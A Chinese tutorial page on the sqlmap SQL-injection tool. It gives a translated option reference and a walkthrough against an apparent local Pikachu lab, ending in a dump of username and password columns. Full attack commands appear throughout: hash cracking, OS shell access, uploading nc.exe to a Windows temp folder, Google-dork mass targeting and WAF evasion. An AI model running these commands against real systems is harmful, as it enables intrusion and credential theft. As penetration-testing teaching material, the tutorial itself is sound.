SQLMAP介绍及使用

您所在的位置:网站首页 sqlmap 写文件 SQLMAP介绍及使用

SQLMAP介绍及使用

2023-08-13 02:45| 来源: 网络整理| 查看: 265

文章目录 sqlmap 介绍特点下载帮助文档 SQLMAP使用常用命令指定目标sqlmap请求设置post数据cookie头设置HTTP(S)代理设置HTTP请求延迟设定超时时间设定重试超时 sqlmap注入设置指定测试参数自动选择(不用输入yes or no)指定注入数据库类型指定注入数据库服务器系统指定无效的大数字只定无效的逻辑注入payload修改注入数据(绕过防火墙或者WAF拦截)探测等级风险等级指定注入技术设定延迟注入的时间 sqlmap 爆数据参数爆数据库版本爆数据库用户爆当前数据库查看当前用户是否为管理用户列数据库管理用户列出并破解数据库用户的hash列出数据库系统的数据库列举数据库表列举数据库表中的字段获取整个表的数据获取表中数据个数获取所有数据库表的内容搜索字段,表,数据库预估完成时间 sqlmap文件和命令操作运行任意操作系统命令从数据库服务器中读取文件把文件上传到数据库服务器中 其他参数忽略在会话文件中存储的查询结果使用DBMS的hex函数启发式检测WAF/IPS/IDS保护测试WAF/IPS/IDS保护模仿智能手机删除缓存文件 sqlmap 优化修改默认最大线程修改默认的浏览器 实战测试使用查看当前数据库,用户,是否为dba,所有数据库查看指定数据库下面的表查看指定表下面的字段查看指定字段的值

sqlmap 介绍

官网 https://sqlmap.org/ sqlmap是一个开源的渗透测试工具,它可以自动化检测和利用SQL注入漏洞并接管数据库服务器。它有一个强大的检测引擎,许多适合于终 极渗透测试的良好特性和众多的操作选项,从数据库指纹、数据获取到访问底层文件系统、执行操作系统命令。

特点

全面支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB数据库 管理系统。 全面支持六种SQL注入技术:boolean-based盲注、time-based盲注、error-based、UNION查询、堆叠查询和带外查询。 通过提供DBMS凭证、IP地址、端口和数据库名,支持不通过SQL注入的直接连接数据库。 支持枚举用户、密码哈希、特权、角色、数据库、表和列。 自动识别密码哈希格式,支持基于字典的攻击破解。 支持完整转储数据库表,根据用户的选择转储一定范围内的条目或特定列。用户还可以选择只从每列中转储指定字符。 支持搜索特定的数据库名、表名,或跨表搜索特定的列名。这非常有用,例如,识别包含自定义应用程序凭证的表,其相关列名称可能包含 name、pass等字符串。 支持通过数据库服务器所在的文件系统下载和上传任何文件,当数据库软件是MySQL, PostgreSQL或Microsoft SQL server时。 支持通过数据库服务器所在的操作系统执行任意命令并获取输出,当数据库软件为MySQL、PostgreSQL或Microsoft SQL server时。 支持在攻击者机器和数据库服务器所在操作系统之间建立带外有状态的TCP连接,这个通道根据用户的选择可以是交互式命令行、 Meterpreter会话或图形用户界面(VNC)。 支持通过Metasploit的getsystem命令实现数据库进程的用户权限升级。

SQLMAP支持的五种不同的注入方式 B:Boolean-basedblindSQLinjection(布尔型注入) E:Error-basedSQLinjection(报错型注入) U:UNIONquerySQLinjection(可联合查询注入) S:StackedqueriesSQLinjection(可多语句查询注入) T:Time-basedblindSQLinjection(基于时间延迟注入) Q:InlineSQLInjection(内联注入)

下载

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

访问官网下载:https://sqlmap.org/

在kali中自带sqlmap

更新sqlmap

python sqlmap.py --update

或者

sqlmap --update

帮助文档

显示终端帮助文档

sqlmap -h

显示sqlmap详细的帮助文档

sqlmap -hh

帮助文档中文翻译

用法:python sqlmap.py [选项] 选项: -h, --help 显示基本帮助信息并退出 -hh 显示高级帮助信息并退出 --version 显示程序版本信息并退出 -v VERBOSE 输出信息详细程度级别:0-6(默认为 1) 目标: 至少提供一个以下选项以指定目标 -d DIRECT 直接连接数据库 -u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1") -l LOGFILE 从 Burp 或 WebScarab 代理的日志文件中解析目标地址 -x SITEMAPURL 从远程网站地图(.xml)文件中解析目标 -m BULKFILE 从文本文件中获取批量目标 -r REQUESTFILE 从文件中读取 HTTP 请求 -g GOOGLEDORK 使用 Google dork 结果作为目标 -c CONFIGFILE 从 INI 配置文件中加载选项 请求: 以下选项可以指定连接目标地址的方式 --method=METHOD 强制使用提供的 HTTP 方法(例如:PUT) --data=DATA 使用 POST 发送数据串 --param-del=PARA.. 设置参数值分隔符 --cookie=COOKIE 指定 HTTP Cookie --cookie-del=COO.. 设置 cookie 分隔符 --load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件 --drop-set-cookie 忽略 HTTP 响应中的 Set-Cookie 参数 --user-agent=AGENT 指定 HTTP User-Agent --random-agent 使用随机的 HTTP User-Agent --host=HOST 指定 HTTP Host --referer=REFERER 指定 HTTP Referer -H HEADER, --hea.. 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1") --headers=HEADERS 设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP 认证方式(Basic,Digest,NTLM 或 PKI) --auth-cred=AUTH.. HTTP 认证凭证(username:password) --auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件 --ignore-code=IG.. 忽略 HTTP 错误码(例如:401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接目标 URL --proxy-cred=PRO.. 使用代理进行认证(username:password) --proxy-file=PRO.. 从文件中加载代理列表 --tor 使用 Tor 匿名网络 --tor-port=TORPORT 设置 Tor 代理端口代替默认端口 --tor-type=TORTYPE 设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认)) --check-tor 检查是否正确使用了 Tor --delay=DELAY 设置每个 HTTP 请求的延迟秒数 --timeout=TIMEOUT 设置连接响应的有效秒数(默认为 30) --retries=RETRIES 连接超时时重试次数(默认为 3) --randomize=RPARAM 随机更改给定的参数值 --safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注: 有些网站在你连续多次访问错误地址时会关闭会话连接, 后面的“请求”小节有详细说明) --safe-post=SAFE.. 使用 POST 方法发送合法的数据 --safe-req=SAFER.. 从文件中加载合法的 HTTP 请求 --safe-freq=SAFE.. 每访问两次给定的合法 URL 才发送一次测试请求 --skip-urlencode 不对 payload 数据进行 URL 编码 --csrf-token=CSR.. 设置网站用来反 CSRF 攻击的 token --csrf-url=CSRFURL 指定可提取反 CSRF 攻击 token 的 URL --force-ssl 强制使用 SSL/HTTPS --hpp 使用 HTTP 参数污染攻击 --eval=EVALCODE 在发起请求前执行给定的 Python 代码(例如: "import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 以下选项用于优化 sqlmap 性能 -o 开启所有优化开关 --predict-output 预测常用请求的输出 --keep-alive 使用持久的 HTTP(S) 连接 --null-connection 仅获取页面大小而非实际的 HTTP 响应 --threads=THREADS 设置 HTTP(S) 请求并发数最大值(默认为 1) 注入: 以下选项用于指定要测试的参数, 提供自定义注入 payloads 和篡改参数的脚本 -p TESTPARAMETER 指定需要测试的参数 --skip=SKIP 指定要跳过的参数 --skip-static 指定跳过非动态参数 --param-exclude=.. 用正则表达式排除参数(例如:"ses") --dbms=DBMS 指定 DBMS 类型(例如:MySQL) --dbms-cred=DBMS.. DBMS 认证凭据(username:password) --os=OS 指定 DBMS 服务器的操作系统类型 --invalid-bignum 将无效值设置为大数 --invalid-logical 对无效值使用逻辑运算 --invalid-string 对无效值使用随机字符串 --no-cast 关闭 payload 构造机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入 payload 的前缀字符串 --suffix=SUFFIX 注入 payload 的后缀字符串 --tamper=TAMPER 用给定脚本修改注入数据 检测: 以下选项用于自定义检测方式 --level=LEVEL 设置测试等级(1-5,默认为 1) --risk=RISK 设置测试风险等级(1-3,默认为 1) --string=STRING 用于确定查询结果为真时的字符串 --not-string=NOT.. 用于确定查询结果为假时的字符串 --regexp=REGEXP 用于确定查询结果为真时的正则表达式 --code=CODE 用于确定查询结果为真时的 HTTP 状态码 --text-only 只根据页面文本内容对比页面 --titles 只根据页面标题对比页面 技术: 以下选项用于调整特定 SQL 注入技术的测试方法 --technique=TECH 使用的 SQL 注入技术(默认为“BEUSTQ”,译者注: B: Boolean-based blind SQL injection(布尔型盲注) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(联合查询注入) S: Stacked queries SQL injection(堆查询注入) T: Time-based blind SQL injection(时间型盲注) Q: inline Query injection(内联查询注入) --time-sec=TIMESEC 延迟 DBMS 的响应秒数(默认为 5) --union-cols=UCOLS 设置联合查询注入测试的列数目范围 --union-char=UCHAR 用于暴力猜解列数的字符 --union-from=UFROM 设置联合查询注入 FROM 处用到的表 --dns-domain=DNS.. 设置用于 DNS 渗出攻击的域名(译者注: 推荐阅读《在SQL注入中使用DNS获取数据》 http://cb.drops.wiki/drops/tips-5283.html, 在后面的“技术”小节中也有相应解释) --second-order=S.. 设置二阶响应的结果显示页面的 URL(译者注: 该选项用于二阶 SQL 注入) 指纹识别: -f, --fingerprint 执行广泛的 DBMS 版本指纹识别 枚举: 以下选项用于获取后端数据库管理系统的信息,结构和数据表中的数据。 此外,还可以运行你输入的 SQL 语句 -a, --all 获取所有信息、数据 -b, --banner 获取 DBMS banner --current-user 获取 DBMS 当前用户 --current-db 获取 DBMS 当前数据库 --hostname 获取 DBMS 服务器的主机名 --is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员) --users 枚举出 DBMS 所有用户 --passwords 枚举出 DBMS 所有用户的密码哈希 --privileges 枚举出 DBMS 所有用户特权级 --roles 枚举出 DBMS 所有用户角色 --dbs 枚举出 DBMS 所有数据库 --tables 枚举出 DBMS 数据库中的所有表 --columns 枚举出 DBMS 表中的所有列 --schema 枚举出 DBMS 所有模式 --count 获取数据表数目 --dump 导出 DBMS 数据库表项 --dump-all 导出所有 DBMS 数据库表项 --search 搜索列,表和/或数据库名 --comments 获取 DBMS 注释 -D DB 指定要枚举的 DBMS 数据库 -T TBL 指定要枚举的 DBMS 数据表 -C COL 指定要枚举的 DBMS 数据列 -X EXCLUDECOL 指定要排除的 DBMS 数据列 -U USER 指定枚举的 DBMS 用户 --exclude-sysdbs 枚举所有数据表时,指定排除特定系统数据库 --pivot-column=P.. 指定主列 --where=DUMPWHERE 在转储表时使用 WHERE 条件语句 --start=LIMITSTART 指定要导出的数据表条目开始行数 --stop=LIMITSTOP 指定要导出的数据表条目结束行数 --first=FIRSTCHAR 指定获取返回查询结果的开始字符位 --last=LASTCHAR 指定获取返回查询结果的结束字符位 --sql-query=QUERY 指定要执行的 SQL 语句 --sql-shell 调出交互式 SQL shell --sql-file=SQLFILE 执行文件中的 SQL 语句 暴力破解: 以下选项用于暴力破解测试 --common-tables 检测常见的表名是否存在 --common-columns 检测常用的列名是否存在 用户自定义函数注入: 以下选项用于创建用户自定义函数 --udf-inject 注入用户自定义函数 --shared-lib=SHLIB 共享库的本地路径 访问文件系统: 以下选项用于访问后端数据库管理系统的底层文件系统 --file-read=RFILE 读取后端 DBMS 文件系统中的文件 --file-write=WFILE 写入后端 DBMS 文件系统中的文件 --file-dest=DFILE 使用文件绝对路径写入到后端 DBMS 访问操作系统: 以下选项用于访问后端数据库管理系统的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 调出交互式操作系统 shell --os-pwn 调出 OOB shell,Meterpreter 或 VNC --os-smbrelay 一键调出 OOB shell,Meterpreter 或 VNC --os-bof 利用存储过程的缓冲区溢出 --priv-esc 数据库进程用户提权 --msf-path=MSFPATH Metasploit 框架的本地安装路径 --tmp-path=TMPPATH 远程临时文件目录的绝对路径 访问 Windows 注册表: 以下选项用于访问后端数据库管理系统的 Windows 注册表 --reg-read 读取一个 Windows 注册表键值 --reg-add 写入一个 Windows 注册表键值数据 --reg-del 删除一个 Windows 注册表键值 --reg-key=REGKEY 指定 Windows 注册表键 --reg-value=REGVAL 指定 Windows 注册表键值 --reg-data=REGDATA 指定 Windows 注册表键值数据 --reg-type=REGTYPE 指定 Windows 注册表键值类型 通用选项: 以下选项用于设置通用的参数 -s SESSIONFILE 从文件(.sqlite)中读入会话信息 -t TRAFFICFILE 保存所有 HTTP 流量记录到指定文本文件 --batch 从不询问用户输入,使用默认配置 --binary-fields=.. 具有二进制值的结果字段(例如:"digest") --check-internet 在访问目标之前检查是否正常连接互联网 --crawl=CRAWLDEPTH 从目标 URL 开始爬取网站 --crawl-exclude=.. 用正则表达式筛选爬取的页面(例如:"logout") --csv-del=CSVDEL 指定输出到 CVS 文件时使用的分隔符(默认为“,”) --charset=CHARSET 指定 SQL 盲注字符集(例如:"0123456789abcdef") --dump-format=DU.. 导出数据的格式(CSV(默认),HTML 或 SQLITE) --encoding=ENCOD.. 指定获取数据时使用的字符编码(例如:GBK) --eta 显示每个结果输出的预计到达时间 --flush-session 清空当前目标的会话文件 --forms 解析并测试目标 URL 的表单 --fresh-queries 忽略存储在会话文件中的查询结果 --har=HARFILE 将所有 HTTP 流量记录到一个 HAR 文件中 --hex 获取数据时调用 DBMS 的 hex 函数 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 从响应中解析并显示 DBMS 错误信息 --save=SAVECONFIG 将选项设置保存到一个 INI 配置文件 --scope=SCOPE 用正则表达式从提供的代理日志中过滤目标 --test-filter=TE.. 根据 payloads 和/或标题(例如:ROW)选择测试 --test-skip=TEST.. 根据 payloads 和/或标题(例如:BENCHMARK)跳过部分测试 --update 更新 sqlmap 其他选项: -z MNEMONICS 使用短助记符(例如:“flu,bat,ban,tec=EU”) --alert=ALERT 在找到 SQL 注入时运行 OS 命令 --answers=ANSWERS 设置问题答案(例如:“quit=N,follow=N”) --beep 出现问题提醒或在发现 SQL 注入时发出提示音 --cleanup 指定移除 DBMS 中的特定的 UDF 或者数据表 --dependencies 检查 sqlmap 缺少什么(非核心)依赖 --disable-coloring 关闭彩色控制台输出 --gpage=GOOGLEPAGE 指定页码使用 Google dork 结果 --identify-waf 针对 WAF/IPS/IDS 保护进行彻底的测试 --mobile 使用 HTTP User-Agent 模仿智能手机 --offline 在离线模式下工作(仅使用会话数据) --purge-output 安全地删除输出目录的所有内容 --skip-waf 跳过启发式检测 WAF/IPS/IDS 保护 --smart 只有在使用启发式检测时才进行彻底的测试 --sqlmap-shell 调出交互式 sqlmap shell --tmp-dir=TMPDIR 指定用于存储临时文件的本地目录 --web-root=WEBROOT 指定 Web 服务器根目录(例如:"/var/www") --wizard 适合初级用户的向导界面 SQLMAP使用 常用命令

sqlmap -u http://sqlmap.com/index.php?id=1 -v 1 sqlmap -u “http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2” -v 1 -u 和–url参数一样 都是代表填写测试的url连接 如果存在&符号需要添加把url放在双引号内 -v 表示 输出信息详细程度级别:0-6(默认为 1)

0:只显示Python回源(tracebacks),错误(error)和关键(criticle)信息。 1:同时显示信息(info)和警告信息(warning)(默认为1) 2: 同时显示调试信息(debug) 3:同时显示注入的有效载荷(payloads) 4:同时显示http请求 5:同时显示http响应头 6:同时显示http响应内容

级别越高,信息就越详细,根据需求选择合适的输出信息。

指定目标

sqlmap 有两种指定目标的方式:

1.使用 -u 指定 测试url(注入点为 get 时使用)

2.使用 -r 指定 请求文件进行请求(注入点为 post 时使用)

指定某个url进行测试 sqlmap -u http://sqlmap.com/index.php?id=1 -v 1

从文件中加载http请求测试 sqlmap -r url.txt

从burpsuite或者日志读取http包 sqlmap -l post.txt

从文本中获取多个目标扫描 sqlmap -m url.txt

url文本内容为:

http://www.moonsec.com/index.php?id=1 http://www.moonsec.com/new.php?id=1 http://www.moonsec.com/awd.php?id=1

从谷歌引擎搜索结果扫描 sqlmap可以测试注入google的搜索结果中的get参数

python sqlmap.py -g "inurl:\".php?id=1\""

sqlmap请求设置 post数据

参数:–data 此参数是把数据以post方式提交,sqlmap会自动检测post参数

sqlmap.py -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data="id=1&submit=查询"

参数拆分字符 参数:–param-del 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。 例子:sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs -- users

cookie头设置

参数:–cookie,–load-cookies,–drop-set-cookie 这个参数在以下两个方面很有用: 1、web应用需要登陆的时候。 2、你想要在这些头参数中测试SQL注入时。 可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。 在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。 如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。 当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或 者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头 参数:–user-agent,–random-agent 默认情况下sqlmap的HTTP请求头中User-Agent值是: 可以使用–user-agent参数来修改,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。 当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头 参数:–referer sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。 额外的HTTP头 参数:–headers 可以通过–headers参数来增加额外的http头 HTTP认证保护

参数:–auth-type,–auth-cred 这些参数可以用来登陆HTTP的认证保护支持三种方式: 1、Basic 2、Digest 3、NTLM 例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP(S)代理设置

参数:–proxy,–proxy-cred和–ignore-proxy 使用–proxy代理是格式为:http://url:port。 当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。 –ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:–delay 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:–timeout 可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:–retries 当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

sqlmap注入设置 指定测试参数

参数:-p,–skip sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p "id,user-anget"

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。 例如:--skip="user-angent.referer" 在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加* 例如:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

自动选择(不用输入yes or no)

参数:–batch 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

指定注入数据库类型

参数:–dbms 默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定注入数据库服务器系统

参数:–os 默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:–invalid-bignum 当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报 错。

只定无效的逻辑

参数:–invalid-logical 原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:–prefix,–suffix 在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。 例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" -- suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1";

修改注入数据(绕过防火墙或者WAF拦截)

参数:–tamper sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。 下面是一个tamper脚本的格式:

# Needed imports from lib.core.enums import PRIORITY # Define which is the order of application of tamper scripts against # the payload __priority__ = PRIORITY.NORMAL def tamper(payload): ''' Description of your tamper script ''' retVal = payload # your code to tamper the original payload # return the tampered payload return retVal

使用 --list-tampers 可以查看有哪些脚本以及简单介绍

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-leuyQQrp-1657100369984)(C:\Users\Anonymous\AppData\Roaming\Typora\typora-user-images\image-20220706160531368.png)]

探测等级

参数:–level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试, HTTP User-Agent/Referer头在level为3的时候就会测试。 总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:–risk 共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。 在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。 测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

指定注入技术

参数:–technique 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。 支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入) 设定延迟注入的时间

参数:–time-sec 当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

sqlmap 爆数据参数 爆数据库版本

参数:-b,–banner 大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

爆数据库用户

参数:-current-user 在大多数据库中可以获取到管理数据的用户。

爆当前数据库

参数:–current-db

返还当前连接的数据库。

查看当前用户是否为管理用户

参数:–is-dba 判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:–users 当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:–passwords 当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_id.php" -data "id=1&submit=%E6%9F%A5%E8%AF%A2" -p id --passwords

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n4Qh5T3H-1657100369985)(C:\Users\Anonymous\AppData\Roaming\Typora\typora-user-images\image-20220706161342417.png)]

列出数据库系统的数据库

参数:–dbs 当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:–tables,–exclude-sysdbs,-D 当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。 如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。 –exclude-sysdbs参数是指包含了所有的系统数据库。 需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:–columns,-C,-T,-D 当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。 如果没有使用-D参数指定数据库时,默认会使用当前数据库。

获取整个表的数据

参数:–dump,-C,-T,-D,–start,–stop,–first,–last 如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。 使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。

获取表中数据个数

参数:–count 有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。

获取所有数据库表的内容

参数:–dump-all,–exclude-sysdbs 使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中 master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:–search,-C,-T,-D –search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。 可以在一下三种情况下使用:

-C # 后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T # 后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D # 后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。 预估完成时间

参数:–eta 可以计算注入数据的剩余时间。

sqlmap文件和命令操作 运行任意操作系统命令

条件:数据库权限为 DBA 权限

参数:–os-cmd,–os-shell 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。 在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。 那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

从数据库服务器中读取文件

条件:数据库权限为 DBA 权限

参数:–file-read 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文 件。

例子:

sqlmap -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ --file-read "C:/example.exe" -v 1

把文件上传到数据库服务器中

条件:数据库权限为 DBA 权限

参数:–file-write,–file-dest 当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文 件。

例子:

sqlmap -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

其他参数 忽略在会话文件中存储的查询结果

参数:–fresh-queries 忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:–hex 有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免

使用参数缩写 参数:-z 有使用参数太长太复杂,可以使用缩写模式。 例如:

sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成:

sqlmap -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

还有:

sqlmap --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成:

sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

启发式检测WAF/IPS/IDS保护

参数:–check-waf WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的 参数来注入测试

测试WAF/IPS/IDS保护

参数:–identify-waf sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

例如:

sqlmap -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

模仿智能手机

参数:–mobile 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。 例如:

sqlmap -u "http://www.target.com/vuln.php?id=1" --mobile

删除缓存文件

参数:–flush-session 如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

sqlmap 优化 修改默认最大线程

修改 lib/core/settings.py 文件 默认最大线程是10 可以设置线程最大为100

MAX_NUMBER_OF_THREADS = 100

结果如下:

在这里插入图片描述

修改默认的浏览器

在sqlmap中使用默认设置进行注入检测会在cookie中带有sqlmap的字符,容易被waf拦截

同样修改 lib/core/settings.py 文件

DEFAULT_USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36"

结果如下:

在这里插入图片描述

实战测试使用

首先我们查找到一个注入点:

http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2

查看当前数据库,用户,是否为dba,所有数据库

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --current-db --current-user --is-dba --dbs --batch

-p 指定注入点

–current-db 查看当前数据库

–current-user 查看数据库用户

–is-dba 查看是否为dba

–dbs 查看所有数据库

–batch 默认选择

结果如下:

在这里插入图片描述

查看指定数据库下面的表

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -D pikachu --tables --batch

-D 指定数据库

-tables 查看表

结果如下:

在这里插入图片描述

查看指定表下面的字段

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -D pikachu -T users --columns --batch

-T 指定表

–columns 查看字段

结果如下:

在这里插入图片描述

查看指定字段的值

使用命令:

sqlmap -u "http://192.168.150.141/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -D pikachu -T users -C username,password --dump --batch

-C 指定字段

–dump 查看值

结果如下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZE8nNV6N-1657100369989)(C:\Users\Anonymous\AppData\Roaming\Typora\typora-user-images\image-20220706171241113.png)]



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3